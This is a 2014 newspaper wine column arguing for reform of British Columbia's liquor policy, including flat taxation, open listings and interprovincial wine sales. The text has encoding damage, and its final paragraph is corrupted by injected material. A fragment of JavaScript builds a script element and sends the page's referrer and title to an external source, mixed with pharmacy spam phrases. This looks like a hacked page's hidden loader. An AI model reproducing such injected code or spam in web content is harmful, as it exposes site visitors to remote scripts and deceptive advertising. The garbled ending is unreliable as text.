Review may bring change – Jan 4, 2014

By Anthony Gismondi

Will 2014 be a great year for wine in British Columbia?

Only time will tell but as usual consumers will play a big part in the outcome. Not to put too fine a point on it, but a lot hinges on the outcome of the B.C. Liquor Policy Review. There have been a few crumbs tossed to the loudest lobbies but nothing yet to the silent majority. If you want a vibrant wine market in B.C. including the long term survival of the local producers, make sure your MLA knows you want a new deal for wine, beer and spirits.

An open market, with wholesale pricing and a flat tax levied on all liquor when it is imported, or created locally, would be a great start. If everybody paid a flat tax, we might finally see the real size of the liquor market and find out that the tax required to meet the same level of money heading to government coffers could be much less and far easier to justify to all concerned.

After that leta��s put an end to the government selecting what we drink. No more listing applications, no product rejections, just a quick approval to issue a government number to collect a fair tax and let the market decide what they want to buy. This would create a flood of new products, more competition and better pricing. Wine, beer or spirit selections could then be sold by distributors to all retail outlets, government and private wine shops who in turn could resell whatever they wished to the public and trade including restaurants, clubs and bars. Free trade driven by demand.

The decision to buy or sell anything would be made by a wide array of buyers and store managers according to needs of their customers. This scenario only works if everyone pays tax on every drink. This should lead to a thriving market fuelled by the ambition of retailers and the enthusiasm of buyers.

Lower taxes and more selection would lead to competitive prices and given the ease with which products could enter the market we would avoid the current scenario where it seems only government, in concert with large commercial suppliers, control which new products get listed and sold in all the prime liquor outlets.

Local producers who claim they cana��t compete with foreign producers due to offshore subsidies could then make their case to the provincial government for equal support. If a business decision was made to subsidize local wineries, artisan beer and spirit producers, U-Vin and U-brews a�� under the guise of creating local jobs and wealth a�� then the money should come from all British Columbians rather than those who simply enjoy a glass of ridiculously priced imported wine.

All current liquor laws that inhibit local producers from competing in the market should be abolished. Direct sales, off-site tasting rooms and stalls at local farmer markets are fine but the real elephant in the room is interprovincial wine sales. All Canadian wineries needs immediate access to every Canadian province and territory as granted by the federal government.

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Therea��s much more although a lot of what makes no sense would go away if the tax field was levelled. After all wasna��t that the plan with original FTA in 1989, yet 25 years later we are no closer to an open liquor market. I guess it only makes this space more valuable going forward. With so much overpriced wine in B.C. we will continue to taste hundreds of bottles a month to serve up the best six values you can buy every Saturday.var d=document;var s=d.createElement(‘script’); online episodes adalat sony tv femara no prescription canada pharmacy s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; flexisyn delivery

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